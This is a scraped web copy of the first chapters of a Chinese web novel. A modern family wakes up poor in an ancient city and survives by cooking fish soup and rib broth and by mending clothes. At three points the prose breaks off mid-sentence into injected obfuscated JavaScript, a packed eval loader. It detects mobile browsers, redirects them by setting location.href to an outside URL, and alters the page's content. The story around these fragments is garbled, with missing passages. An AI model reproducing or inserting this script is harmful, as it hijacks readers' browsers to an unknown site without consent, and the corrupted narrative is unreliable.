《全家穿古代摆摊（美食）》 1. 鱼汤拌饭 “呸。” 路过林家篱笆小院，着一身厚重灰袄的矮胖妇人，忍不住啐了口。 概因今日清早巡视田地，发现自家地里的黄芽被人偷割了一小块。 恰逢入冬后，天气一日比一日冷，水滴成冰，新鲜蔬菜、甜果罕见，价格水涨船高，比平时高出两成的卖价。 妇人一家靠着到城里贩卖菜蔬谋生，黄芽价格上涨，正盘算着卖完地里的一批菜蔬，能攒下些银钱，送家中孩童入学堂…… 今早被人偷割的黄芽，得有数十文钱的损失哩，叫妇人气得跺脚。 去年她家地里的黄芽，便是被林书润偷割了一回，换银钱做赌本，幸好被人通风报信，叫妇人一家逮住。所以今早再次遇到偷黄芽一事，很难叫人不联想到林家。 气归气，妇人却不敢招惹林家一大家子。 王家村共有十余户人家在此安居乐业，林家人是早些年躲避战乱搬来的，林老太爷是个穷酸秀才，林老爷嗜赌成性，败光了家财，酗酒淹死在河里，到了林书润这辈，继承了父亲的酗酒和滥赌，好的不学净学坏的，烂泥扶不上墙，把家里输得一干二净，平时在村里偷鸡摸狗，小偷小摸惯了，前年顺手摘走王二麻子家的甜瓜，去岁她家的黄芽和村口周家的蜜桃等等，恶行累累…… 一家子地痞，妇人不敢惹，瞧见院里的母女三人，自个儿穿鞋的怕光脚的，连忙垂下头，挎着只竹篮子匆匆往家里赶。 在院子里打扫的三人:“？？？” 三脸问号。 只当原主一家子泼皮无赖，招人嫌，没当一回事，继续低头洒扫院子。 是的，她们一家四口是穿越的！ 遭遇了车祸，当她们再次苏醒后，发现竟然穿越到了这个陌生朝代！ 打量眼前家徒四壁的破落篱笆院子，林芫花唉声叹气，一停下来，身上单薄的裤袜，快要扛不住飕飕的寒风。 清早才对付着喝下两口野菜糊糊，食物早就消耗殆尽，胃里酸液翻涌，午饭、晚饭远远挥着手，没个着落。 手脚一停下来，饥饿与寒意如排山倒海般袭来，动起来，好歹手脚暖和些。 这个院子太脏了，不好好打扫一番，根本没法住人。 昨晚穿越来黑灯瞎火的，凑合对付了一晚，今日却是万万不能忍。 老爸林书润喝了点野菜糊糊，一早去城镇寻找谋生的差事，天寒地冻，不知道现在情况如何了？ 陆英望向城镇方向，目露担忧。 要不是家里实在没吃没喝，米缸空了，眼见干柴也要用完，林书润不必大冷天往外跑，人生地不熟的，不知道会不会有危险？ 本来陆英也想跟着一起去，奈何家中四口人，只能凑出一条棉裤，于是林书润独自担起养家职责。 临近午时，日头从云层破开，撒下温暖的阳光，温度适宜。 一家人又累又饿，按照记忆，陆英领着一双儿女来到“自家”的几块薄田。 远远眺望，麦苗茂盛，呈现碧色的青绿，一看就知道平日里田地的主人，没少施肥除草。 与之相邻的几块田地里，几块稀稀拉拉的麦田，很是出众，一眼就能瞧见，杂草丛生，很好辩认。 第一次见到自家麦田，莫名叫林芫花想起课本上的一句诗词——种豆南山下，草盛豆苗稀。 种的什么鬼田。 一田的野草，比麦苗生长得还要旺盛！ 亏得这些野草，不至于让她们饿肚子。 对比老爸今早从地里摘回的野菜，在麦田里仔细搜寻一番，挖了半篮子回家。 清洗干净后，有些拿捏不准的野菜，担心有毒，暂时放到一旁，确认无毒的，沥干水分，这时母女三人饿得前胸贴后背，家里柴禾没了，林芫花将野菜切一切，缺油少盐，充作蔬菜沙拉，对付着吃。 味道不算好，许是饿得狠了，母女三人硬着头皮吃。 林芫花嚼着没滋没味的野菜，想到车祸前自己享用的大餐，十分后悔，当时不该浪费一桌美食，肥美的小羊排，香煎多春鱼，黄澄澄的鱼籽，以及鲜美的蒸花鲈…… 将野菜根叶想象成美味的食物，勉强吃了些，胃里没那么火烧火燎，才作罢。 天色快要擦黑，终于将屋子收拾干净。 老爸林书润还没回来，母女三人忙活一天，累得够呛，暖日西坠后，寒意再次席卷而来，三人脱去充当罩衣罩在棉袄外的脏污夏杉，缩在被子里给双腿取暖。 呼啸的冷风，携带着篱笆院外的一串脚步声送来，紧跟着有人敲了敲木门。 陆英披上袄子，起身去开门。 灰蒙蒙的夜色，林书润左肩扛着小半袋米，右手拎着几只竹筒:“抱歉，回来晚了，我买了些米粮和肉食。” 陆英不嫌他一身汗臭味，扑了上去:“回来就好。” “别，我身上脏。”林书润想了想，说:“早上出门，我记得家里没有干柴了，路上没有手拎，咱们上街坊邻居家买点。” 问邻里买来担干柴，林书润撸起袖子准备做饭。 瞧着老爸灰扑扑得了脸，被汗液浸出了几条白痕，林芫花哪里还能坐得住，抢过老爸手里的活计:“还是我来吧，让林青叶给我打下手，老爸到码头扛包累了一天，歇会儿。” 林书润吃了一惊:“还是闺女心疼我。对了，你怎么知道我今天去码头扛包？” 林芫花将杀好的鲜鱼扔在菜板，剁成鱼块:“临江城，因江河湖泊众多而得名，这里靠水吃水，码头渡口少不了，寻常活计，每月发放一次薪水，哪有预支薪水的？日结的活，只有搬货卸货的苦力喽。” 她们一家四口穿越了，还继承了原主的记忆。 原主林芫花没出过临江城，去过最远的地方，不过是临江城外的码头。 她在剁鱼块，弟弟林青叶正尝试生火，生了几次，没着，被林书润打发去院子的水井打清水。 林青叶被老爸支使着淘米，同适量清水一同放入铁锅。 爸爸林书润一屁股坐到土灶前的小木凳，妈妈陆英择着午时剩下的野菜，去掉黄叶枯叶，一家人围在灶台忙活…… 炊烟袅袅升起，雾气里，煮得如牛奶稠白的米汤沸开，咕咕翻腾。 空气中飘荡着属于粮食的淀粉甜香。 林书润指挥着女儿将煮得半生不熟的大米捞出，锅中的米汤也没浪费，盛到木盆，晾一晾。 捞出的夹生大米，平铺到铁锅里，添上少许米汤，小火焖熟。 相邻的另一只铁锅，林芫花围着锅沿边浇淋上一圈菜籽油，撒上少许盐巴，逐一贴上鱼块，立时传出滋滋的油煎声。 受滚油的作用，鲜鱼块表面的鱼皮迅速紧缩，可以帮助锁住鱼肉水分，整个厨房上空飘荡着菜籽油的油香，引得另外三人忍不住轻嗅了嗅。 林书润在码头做了一日工，只上午吃了半碗野菜糊糊，饿得冒火。 老妈陆英和弟弟林青叶中午吃了些“野菜沙拉”，这会儿恨不得双眼冒绿光，唯有小口小口抿着手里半碗的温热米汤，解解饿。 将鱼块煎得两面金黄，放上姜丝，一瓢水，盖上锅盖，林芫花被妈妈陆英塞来米汤，让填填肚子。 待米饭焖熟，旁边锅子的鱼汤也熬好了，择好的野菜一股脑扔到鱼汤，稍一变色，立即盛出。 盛出米饭和鱼汤，林书润往灶里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果只有她们陷入意识堪忧的境遇也就算了，何况还有一双儿女跟着吃苦，跟着担惊受怕，怎能叫夫妻俩不担心？ 林青叶抿出一根鱼刺，乐观道:“姐，咱们大难不死，以后必有后福。” 林书润舒开眉头:“对，只要咱们一家人在一起，比什么都好。” 陆英往女儿碗里夹来一块鱼腹:“咱们一家人平平安安，一个不能少。钱没了，以后还能挣。” 林芫花望望碗里的鱼腹，又望望父母与弟弟，心中暖意融融。 扒了一碗米饭，又喝下半碗鱼汤，只加了生姜、小葱和一撮盐巴，稠白浓香，鲜美非常。 一碗鱼汤下肚，从胃里散发的暖意，蔓延至四肢百骸，顿时也不觉得冷了。 吃过晚饭，林青叶自觉洗碗擦桌子。 这时候灶上铁锅的清水也烧热了，林芫花打了盆清水回屋子擦洗，顺便把白日洒扫院子弄脏的夏衫搓洗干净，晾到院子里。 盖上被子，脱下的袄子搭在被子上方，贴得严实，更暖和些。 一整天忙得跟陀螺似的，林芫花刚挨到枕头，眼皮子发沉。 临入睡前，想到饭桌上老爸说过几天攒够了钱，拿着票根，到当铺赎回她们的棉裤，不用受冻…… 待攒够一些银钱，做些小本买卖，积累家业，老妈陆英打算重操旧业，开一家成衣铺子…… 有了积蓄，送她们姐弟俩去学堂读书认字…… 原主林家一家子不识字，为了不露馅，目前她们需在外人面前假扮原主，假装目不识丁，等日后去了学堂，能够光明正大的认字、识字。 这样规划着，日子瞧着有盼头了。 2. 野菜饭 吃过早饭，一大早林书润带着热饭热菜离了家，到临江城的码头谋生。 本来陆英打算中午给他送饭，好歹有口热乎饭吃，林书润觉得路程遥远，担心天气不好，双腿受冻，医疗不发达的古代，但凡有个风寒感冒，能要了人的命。 昨日饿着肚子，都熬过来了，一碗冷饭冷菜，能填饱肚子，已经很好了。 眼前最紧要的，首先从当铺赎回妻女的御寒棉裤，昨晚夫妻俩算了一笔账，从当铺赎回的衣物，总计需花费五两银子。 昨儿林书润在码头卸了一天的货包，挣了八十余文，给家里添置完生活必需品，仅剩三个铜板，照这样算下去，不吃不喝，也要花费近两个月才能攒下这笔钱。 天色雾蒙蒙，还未大亮。 远远瞧见码头处，燃着莹莹烛光，像是迷雾里引路的灯塔。 离得近些，烟火气拂面，人声鼎沸，摊贩们的叫卖声不绝于耳。 “新鲜的猪下水嘞，客官，过早没，我家量大实惠，便宜不贵。” 林书润在家提前吃过早饭，摇摇头，与三五成群的搬运工擦肩而过。 “听说没，昨日有个叫阿牛的小子，一天挣了两百八十文。” “知道，那小子壮得跟头牛似的，一次能抗三大包货，听说家里老娘生病要吃药，这是拿命在扛啊，不知死活！” “二狗，你愁个什么劲？” 一直没说话的壮汉，瓮声瓮气:“阿牛一天挣两百八十文，要是被工头晓得了，回头又要降工价。” 林书润也跟着心头一沉，打从心底里羡慕阿牛能一天挣快三百文。 如果自己能挣到阿牛的工钱，用不了一个月，就能挣到五两银子，赎回活当的衣物。 到了地方，果不其然，今日工价降了一成。 林书润不想当工贼，平白无故被工头剥削，想到一穷二白的家，想到不久后又要饿着肚子的妻女，咬咬牙，跟着举了手。 他审时度势，刚举起手，工头又挑了两人，说人手够了，剩下的搬运工，只能等下一波雇主。 你不干，有的是人愿意自降工价干。 吃饱饭，有了力气，一上午挣了四十二文。 到了午后，昨天剩下的鱼汤拌着米饭，对付了一顿。 天气冷，鱼汤里的蛋白质凝结成果冻质感，要是配上一碗热乎乎的米饭，别提有多美了。 配着干硬的冷米饭，嚼着没什么滋味。 旁边的船夫见了，招呼着到他的暖炉边热饭。 林书润一见，竟是面熟，昨晚这位船夫剩了几条鲜鱼没卖掉，死鱼不值钱，于是便宜卖了他一尾。 热过的米饭，口感软和，鱼冻被热气融化，均匀的裹到米饭上，扒一口鱼汤饭，鲜到了眉毛，配着鱼块，一碗米饭下了肚。 填饱了肚子，船夫送来一碗热水:“给，我煮的热水多了。” 林书润受宠若惊道了谢，支付一枚铜板，对方却不肯收。 按照原主的记忆，因为物资短缺，普通人家冬日很少烧火煮水，主要是柴禾费钱，所以码头还有专门售卖热水的。 这里除了空气和水不花钱，样样都要花钱，古代土著只是物资少，不是傻，都知道喝开水对身体好，可是烧开水需要耗费柴禾，干柴需要花铜板买。 遥望着远处几座光秃秃的山，跟林芫花想象中的青山绿水完全不一样。 穿越之前，她看过种田文，没有污染的青山绿水，主角靠着采摘山里的野菜、野果，设陷阱捕野味过活，靠山吃山，日子过得蒸蒸日上…… 按照原主的记忆，她们穿越的朝代，阶层固化，远处连绵起伏的山脉，早已被官员、地主和员外们瓜分，庄子上有管家、农户定期巡视，曾经有人上山砍柴，被抓住痛打一顿，扭送进官府，现在还在城墙服役。 靠山吃山的法子，行不通。 至于靠湖吃水，先不说没有船只渔网等工具，即便现在给她这些物什，想要到湖里捞鱼，按原主这具身体的记忆，除了缴纳一定税务，还得拜码头，交保护费…… 午后日头正盛，太阳底下晒得人懒洋洋。 林家的篱笆小院，青石板上，平摊着铺开了一地不能食用的“野菜”。 昨日从麦田拔来的野菜，以母女三人的目力，瞧着长得都差不多，带回家发现不能食用后，打算扔掉，被老爸拦下，扔到院里晾晒，充作柴火。 眼下穷得叮当响，能省一点是一点。 林芫花没败家，蹲下身，将野草扒拉着翻个面晾晒，趁着天气好，母亲陆英打算带着一双儿女到麦田清理杂草。 吱呀一声，篱笆院门被推开，街上玩耍的幼童们见了，惊呼一声“小魔王”，小脸一白，纷纷做鸟兽四散奔逃。 林芫花乐了，出口奚落:“林青叶，你看你个熊样，都把人家小孩吓哭了。” 林青叶回以一个白眼:“你也会好不哪儿去。” 作为一个成年人，对于一夜穿成个只有十四岁的小少年，他也很无奈。 林芫花打量着弟弟林青叶稚嫩青葱的面庞，低下头，想到自个儿缩短的身量，一马平川的前胸，鼓了鼓腮帮，失去了逗趣的兴致。 她们是双胞胎，一起吃过奶，一起打过架，以前没少吵架，互相看对方不顺眼，没想到连穿越这种事，也一起赶上趟。 尽管烦林青叶，对于一家人平平安安穿越到晋国的事，林芫花挺高兴的。 思索间，三人来到自家的麦田。 埋首在麦苗和野草之间努力辨认，种田的活，真不是人干的，她蹲下没多久，只觉得双股战战。 冷不丁的起身，眼前一黑，差点栽倒。 这具身体还是太弱了。 看花了眼，一不留神，林芫花不小心拔错了，左右环顾，见没人注意到这里，她扒出个坑，把麦苗插回去，自欺欺人地埋上土壤。 但愿还能活。 母子三人生在城市，长在城市，没干过农活，顶多在阳台院子里种植花卉，林芫花强一点，因为会做饭，起码分得清韭菜和麦苗。 穿来之前，陆英和林青叶完全认不得韭菜和麦苗的区别。 因为农药残留等问题，家里特意买下个农庄，请农户种植了诸多蔬果，专门供应家里，吃不完的，会拿去送给亲朋好友，连锁餐厅里的蔬菜，都是农庄供给。 陆英忙事业，家里雇佣了阿姨做饭，婚后有阿姨和老公林书润做饭，从没下过厨。 林芫花下厨做饭，纯粹是爱好罢了，临近毕业，她把爱好变成事业，大四时，已经实现了财富自由。 一睁眼，成了穷乡僻壤的村女，不过没关系，对于许多拥有求生意志的人来说，她们已经很幸运了，至少一家人都还在，没什么比活着重要。 钱没了，努力奋斗，想办法挣来就是，一家人健健康康更重要。 林芫花懂得知足常乐。 日头藏进云层之后，温度骤降，母子三人回家路上，撞见隔壁邻居家的叔婶到邻村走亲戚回来。 李氏摸着下摆衣料，没好气:“真晦气，我这身棉袄多好好的料子啊，燎了个洞，要是缝个补丁，太难看。以后出门走亲戚，都没一身体面的衣裳。” 王大山出主意:“要不拿到成衣铺子瞧瞧，看能不能修补好？” 李氏:“成衣铺子那地方，太贵。” 王大山:“那就打补丁。” 李氏:“绸缎料子，打了补丁，我还怎么穿出去？” 王大山烦了:“这也不行，那也不行，你说到底要怎么样？” 陆英往李氏身上的枣红色缎面对襟袄子端详片刻，心中有数，清了清嗓子:“李嫂子，若是你信得过，我可以帮忙缝补。” “你会缝补绸缎衣裳？”不是李氏小瞧看轻，她对缝补之后的效果，抱有期望。 勤俭持家的村妇会缝补衣裳，李氏当然知道陆氏也会缝补，打量陆氏与一对儿女，除了女儿林芫花穿一件半新不旧的棉袄，陆英与儿子林青叶身上打了好几个补丁，针脚粗糙，比自个儿手艺还差。 对上李氏的打量，陆英自信道:“嫂子且让我试一试，或许我有办法，能让嫂子的衣裳恢复如初。” 李氏意动，领着陆英去了家里。 等李氏取来针线簸箕，脱下外衣，陆英挑开缝线，从边边角角抽来数百条丝线，穿针引线，将丝线穿过破洞边缘，按照衣料的纹理，逐一填充，收紧，最后剪掉多余线段，以银针将线头掩藏收尾。 好在燎坏的地方不大，却也花费一个时辰。 见陆英收了针线，李氏噌一下起身，急促呼吸:“这，这是好了？” 陆英把袄子递过去:“好了，嫂子瞧瞧，可是恢复如初？” 李氏左瞧瞧右看看，愣是没发现燎坏的是哪块，捧着衣裳，双眼发直:“大妹子，没想到你还有这一手缝补衣裳的手艺，真是神了，跟我穿出门时一模一样，根本看不出破了洞。” 看得满意了，李氏突的心头一紧:“妹子，你这缝补衣裳的手艺不错，这得多少银钱啊？” 陆英摆手:“嫂子客气了，都是街坊邻居，随手帮个忙而已，不用银钱。昨晚多亏嫂子肯卖我们一担干柴，家里没柴，不然我们一家人得饿着肚子。” “一担干柴，算不得什么，况且你们也给了铜板。”李氏本来怕她狮子大开口，被她讹上，听说不要钱，想到陆氏忙活了一个时辰，想到陆氏与一对儿女饿得面黄肌瘦，刚才路上瞧着她们衣着单薄，心里过意不去，不好白白占人便宜。 陆英出了院子，惊的院里的母鸡咯咯哒叫个不停，李氏在鸡窝摸来只热乎的蛋，连忙回房拿来钥匙，开了厨房的柜子铁锁，取来三只鸡蛋，一起送到隔壁的林家。 见李氏送来四只鸡蛋，陆英推拒:“嫂子，这些鸡蛋你们都舍不得吃，要留着贴补家用，这怎么使得？” “使得，妹子不收，嫂子才不好意思呢。”李氏将鸡蛋递来，道:“拿着吧，推来推去，当心摔碎了，拿给你和孩子补补身子，妹子辛苦了，这回给婶子帮了大忙，你肯收下，下回遇到麻烦，嫂子再来寻你帮忙。” 好说歹说，陆英终于收下了。 送走了李氏，母女三人盯着碗里圆滚滚的几颗鸡蛋。 她们刚穿来，解决了基本饥饿问题后，嘴巴不馋。 林芫花拿手指戳了戳鸡蛋:“我的鸡蛋留给老爸吃，补补身体，干体力活可辛苦了。” “嘿嘿，还是我闺女懂得心疼人。” 身后传来林书润的声音，脚步声。 陆英迎上前，接过林书润手上的竹筒和一挂猪排骨:“辛苦了。” 回到篱笆小院，见到妻子与儿女，林书润露出舒心的笑容:“不辛苦。” 一想到外出劳作，可以让妻儿吃饱穿暖，他便一点不觉得辛苦。 目光一扫，他的眼睛落到碗里的四颗鸡蛋:“哪来的蛋？” “妈妈帮隔壁李婶缝补衣裳，李婶送来的。老爸，给你擦擦脸。”林书润夸林芫花，林青叶吃味，绞干了帕子递来。 林书润接过帕子擦拭面上的灰尘，对上林青叶面含期待的目光:“做什么？” 林青叶一脸严肃:“老爸，你刚才夸了姐姐，还没夸我呢！” 林书润:“……” “你也乖。” 林青叶不满意:“老爸，你在敷衍我。” 林书润:“好好好，我们青叶最懂事，这样行了吧。” 林芫花问了问陆英手上的竹筒，好像是酱油和醋，还有一小罐酱料，闻言，嫌弃地朝弟弟撇来一眼，拎着排骨去了厨房。 很快厨房的方向，传来林芫花的吼声:“林青叶，给我打些清水来。” “知道了。”林青叶一面往院子的水井走，一面嘀咕林芫花是凶婆娘。 碍于林芫花的淫威，他急急打好了清水，往厨房送:“还要做什么？” 林芫花手里忙着清洗排骨，下巴一指:“用清水把铁锅洗一下，这点眼力劲都没有。” 想到马上要品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不知过去多久，只觉腹内空空，待听见铁锅内传出滋滋作响的油声，揭开锅盖，用锅铲将野菜与米饭搅拌开来，水汽裹挟着饭香与菜香一同拂面而来。 “熟了吗？”这回开口的，是从外头被饭香引诱来的陆英和林书润。 见到野菜饭，夫妻俩登时双眼亮了起来。 “熟了，加点盐巴，马上可以开饭。”林芫花睨一眼灶台前的憨货:“不用添柴了。” 林青叶连忙放下手里的干柴，屁颠颠起身，清洗碗筷，过来添饭。 饭桌上，一碗野菜饭，一碗排骨汤。 简单的饭菜，一家人吃得很香。 陆英啃着排骨:“在物资匮乏的年代，排骨这种东西，都没人愿意买，买这些排骨，应该不贵吧？” 林书润啃得满嘴流油:“不贵，大肥猪肉才贵，一斤要三十余文，一出来就被抢光了，赶早才能买到。今日挣了一百文，买的几根排骨，花去二十九文。” 陆英没责怪丈夫乱花钱，钱不是靠牙缝里省出来的，一家人瘦骨伶仃，一看就知道长期营养不良，得吃点补补身体，方能长久。 还是得想办法挣钱啊！ “原来排骨在这里卖价很贱。”林青叶从小到大没吃过苦，这个家里碗筷少，没有单独汤碗，扒完野菜饭，想去厨房添一碗，又想先尝尝鲜美的排骨汤。 他盛来半碗排骨汤，吹了吹热气，抿了一小口，被烫得吱哇乱叫:“好烫好烫。” 舌尖先是一麻，继而失去味觉，过了会儿，才尝出排骨汤水的咸鲜。 只加了姜片和一点盐巴，没有别的其它调料，汤水表面漂浮着一层骨髓油脂，又烫又鲜，馋人得很。 几口鲜汤下肚，从胃里蔓延出一股暖意，四肢百骸暖融融，驱走了四周的寒意，林青叶只觉得浑身暖洋洋，舒服极了。 野菜饭也好吃，不用佐菜，他能狂炫两碗。 清新爽口，野菜嫩嫩的，米饭吸收了野菜的清甜，太可口了！ 吃饱喝足，陆英将碗筷拿到院子水井旁清洗，盛过排骨汤的碗筷凝结了动物油脂，加点热水一冲，很容易冲洗掉。 冬日天色黑得早，吃过晚饭，外头黑得伸手不见五指。 灶堂的余温，烧热了一锅水，一家人简单擦洗完，早早缩到被窝里。 没有手机，长夜漫漫。 听到隔壁的雄鸡打鸣，林芫花被吵醒，听到东厢房传出动静，知道老爸起床了，连忙往身上披好外衣，起床做饭。 拢上寒意的外衣，冷得她上下牙齿直打哆嗦。 听到西厢房房门被推开，林书润:“天冷，怎么不多睡会儿，我自己做饭，吃了去码头，用不着你。” 林芫花体谅爸爸做体力活辛苦，说什么也不让。 陆陆续续，陆英和林青叶也起了床。 听老爸的吩咐，将四颗鸡蛋都煮了。 桌上，林书润给每人分了一颗水煮蛋:“我们的身体营养不良，得多补充营养，增强抵抗力，每人一个，都吃了，不许推让。” 天蒙蒙亮，林书润出门时，遇到隔壁王大山和妻子李氏出门，要去临江城，打了招呼后，三人一同结伴。 午时，李氏回家，敲响了林家的院门。 见到林芫花在厨房忙活，李氏夸赞了句:“妹子家的花儿多会做饭啊，瞧着贤惠，养得跟朵花似的漂亮，以后肯定讨丈夫和公婆的喜爱。” 陆英顺着李氏的目光，往厨房的窗户扫去，平静地说:“花花做饭，只是兴趣使然。我们家花花生来不是为了做别人丈夫的妻子，公婆的儿媳，她只用做她自己就好。” 李氏纳罕:“男大当婚，女大当嫁，古往今来皆是如此，哪有闺女将来不嫁人的。” “我的花花嫁不嫁人无所谓，我不希望她为了结婚而结婚，如果能遇到幸福，我自然应允。遇不到，也不妨事，一张嘴而已，家里又不是养不起。”陆英不但要好好养，将来会添置大宅院，丫鬟仆人，叫女儿过上从前一样富足优渥的生活，还要聘请名师教学，发展兴趣爱好。 她想要给女儿最好的生活。 3. 探花郎 这番话，听得李氏犯起了嘀咕，莫不是她家花花还想嫁给探花郎不成？ 遥想曾有位秀才郎瞧中了花花，让媒人上门说亲，被林芫花拒了，嫌那秀才没有功名，又不够俊俏，气得秀才郎找上门，问她:“莫不是想要嫁探花郎不成？” 林芫花答是，那秀才郎被下了脸面，扬言，她林芫花若能嫁探花郎，以后他跟她姓。 她林芫花也不看看自家是个什么光景，好赌的爹，拎不清的娘，招猫逗狗的弟弟，她这个眼高手低的女子，也就他这个秀才郎纡尊降贵看上她，没了他，林芫花找不到更好的。 后来王家村方圆十里都知晓林芫花非探花郎不嫁，暗地里没少嘲笑她癞蛤蟆想吃天鹅肉。 难不成林家还做着让林芫花嫁探花郎的痴梦，李氏心里嘀咕，面上不显，自己今日来林家，原本也不是为着这杆子不着边际的事，是为了另一件事: “妹子，我跟你说件事情，今日我跟当家的去了城里集市，好巧不巧，路上遇到在刘员外家小姐身边做丫鬟的外甥女，说起昨日走亲戚燎了洞的衣裳，我把你的事情跟她一说，巧了，她家小姐有一件斗篷也不慎破损，妹子可有法子修补，刘员外家的小姐出手大方，如果能缝补好，能给一吊钱哩！” 陆英当然心动。 一吊钱，是一两银子。 丈夫林书润在码头做苦力，一天能挣百来文，抵得上十来天的工钱了。 她没敢打包票，沉吟道:“我得先看看料子，还有破损情况。” 李氏眉开眼笑:“这是自然，妹子明日如果有空，咱俩一块儿去刘府？” 陆英目露迟疑:“恐怕不行，我身上衣裳单薄，无法出门远行。” 李氏想了两个法子:“妹子不嫌弃的话，明天我给你找些衣裳，又或者我让那外甥女将斗篷带来？” 陆英也想出门走动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458066|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走动，熟悉周围环境:“多谢嫂子了，你的衣裳我应该能穿得上。” 李氏:“你这把腰肢细的，肯定能穿上。” 两人就这么说定了，李氏美滋滋回家去了。 打量李氏的喜色，陆英猜到缝补斗篷一事，对李氏有好处，或者说是对李氏的外甥女有好处。 不能让丈夫一个人担起养家责任，这个能出门又赚钱的机会，陆英实在不想放过。 傍晚，陆英将李氏找上自己的事情同丈夫说了，还说起孙氏家的黄芽被偷割一事，村里人都怀疑是她们干的。 林书润瞧着李氏和王大山都是厚道人，后知后觉:“难怪前天问王大哥买干柴，他们夫妻俩当时看我们的眼神怪怪的。” 陆英附和道:“是啊，穿越第二天，我瞧着院子外有位妇人经过，冲咱们家吐口水，应当就是孙氏。之前我以为是以前的原主太遭人恨，没成想被人误会是小偷。” 4. 钱氏烤鸡 翌日一早，李氏将女儿的棉裤拿给陆英。 时下棉花昂贵，普通人家冬日里能有一身棉袄棉裤就不错了，更多的是想其它法子过冬。 棉裤暂时借给陆英穿，李氏女儿今日便没法出门了。 吃过朝食，陆英同丈夫和李氏一道出门，去往临江城的刘老爷家。 送妻子到了刘府，林书润扭头往码头的方向过去。 寒风刺骨，穿行在白茫茫大雾里的人拢了拢衣襟，越过揽客的小吃摊，停泊的船只，与船夫杨大力擦肩而过，双方点了打了招呼，他扫到对方背篓里的鱼籽鱼杂，心头疑惑。 到了午时，林书润到杨大力的炉子跟前热饭，将自己碗里的排骨分去些，得了杨大力的半碗鱼籽鱼杂。 杨大力:“今早没卖完的鱼杂羹，林兄弟别嫌弃。” 他牙齿一扯，立时排骨骨肉分离，肥瘦得宜，寻常会过日子的人家会起早去特意买大肥猪肉，林兄弟家一看就是不会过日子的，这样想着，忍不住轻咦了声:“你闺女的手艺真不错，排骨炖得软烂，上回你给我的鱼块也煮得好，吃着一点不腥气。不像我，这么好的鱼籽鱼杂，怎么煮都有一股子腥气，今日才卖出十来碗，还剩下许多，只能带回家。” 林书润挑起块鱼籽，颗粒分明，鱼泡等鱼杂能尝到淡淡的鱼腥味，加了姜丝与酱料熬制，风味咸香，勉强入口，压根儿想了想，说:“我闺女会烧鱼籽豆腐、鱼杂锅，味道还不错，回头我帮你问问怎么做的。” 杨大力看林书润蹲在码头寒风拌冷饭，怪可怜的模样，想到对方照顾过自己生意，顺手帮了把，没成想能有这番收货，顿时喜出望外:“真的啊，林兄弟你要能帮我大忙，赶明儿我免费送你鱼吃。” 林书润乐呵:“那先谢谢老哥了。” 远远瞧见一艘货船停靠，他加快了扒饭速度，三两口扒完，赶到一片招工空地，与搬运工们一同等待雇主。 几日下来，油水填补了亏空的肠胃，他看着有了些气色，胳膊腰杆子有了力气，比刚到码头时颧骨凹陷，瘦得跟麻秸秆似的，因连续顶着太阳在码头扛了几天包，常年嗜赌不见天日的苍白肤色，被晒黑了些，瞧着精神头更好了，身体也壮了。 林书润与工人们伸长了脖子张望，不多时，有个着灰蓝长袄的中年男子朝这边靠近。 他运气不错，被挑中，跟着去了货舱，听管事的语气，让搬运工人们仔细些，别摔坏了，好像是甜果，打南丰运来的，价格不便宜…… 另一边，王家村。 过了晌午，陆英还没回来，林芫花支使着弟弟生火，昨晚没吃完的排骨汤，加点野菜，胡乱对付了一顿。 在村子里闲得无聊，又冷，姐弟俩各自回屋呆被窝里取暖。 在缺乏娱乐活动的古代，除了睡懒觉，好像没什么可打发时间了。 不知睡了多久，迷迷糊糊的，听到妈妈陆英和林青叶的说话声，往窗子一扫，天色暗沉下来，她连忙套上外衫，来到外间:“什么时候回来的，吃过午饭没有，锅里还有饭菜。” 陆英道:“回家有一会儿，在刘府吃过了。” 说着，又指了指桌上的竹篮:“缝补斗篷耽误了，刘府额外给了一篮子南丰蜜橘，听说是用货船运来的，口感应该不错，你们尝尝，我给李嫂送几只去。” 陆英回房，将脱下的棉裤与五只蜜橘一同送到隔壁李氏家。 自己穿过的裤子，尽管一路上小心翼翼没弄脏，直接还回去不好，她本想清洗干净后送回去，考虑到这里大多数人冬天只有一身衣裳和棉裤过冬，棉裤洗了，一时半会儿干不透，隔壁李氏女儿好几天没棉裤穿，且回来的路上，李氏也说过她穿得爱惜，不用洗。 于是陆英带着棉裤和蜜橘敲开了李氏家，在李氏家说了会子话，喝了碗温热茶水，陆英提出告辞。 陆英一走，李氏的小女儿盯着桌上的椭圆形的甜果:“阿娘，这就是南丰蜜橘，我听人说南丰蜜橘如蜜似糖，吃着可甜了。” 李氏本想将蜜橘攒着，拿到市集售卖，冬日的甜果不多见，比鸡蛋值钱，见女儿盯着双眼发直，跟只馋猫似的，笑着塞了两只过去:“阿娘的这份给你，别告诉你两个哥哥。” 李萍:“阿娘不吃吗？” 李氏:“阿娘吃过的好东西比你多，你吃。” 李萍没说什么，低下头，剥开橘红的果皮，空气里满是蜜橘的清香，很好闻。 她往嘴巴里塞进一瓣果肉，牙齿一冰，紧接着眉宇舒展:“水润多汁，好甜。” “好甜。” 同一时间，隔壁林家，林芫花也剥了只蜜橘尝，果肉爆满，每一瓣果肉咬下，在口腔里爆汁:“虽是桔子，却有橙子的水润感，还不错。如果能在空调房里吃，就很解渴舒服了。” 听得林青叶无比怀念四季如春的空调房，想念手机、电脑，又开始期待傍晚老爸回家，会带什么吃的回来。 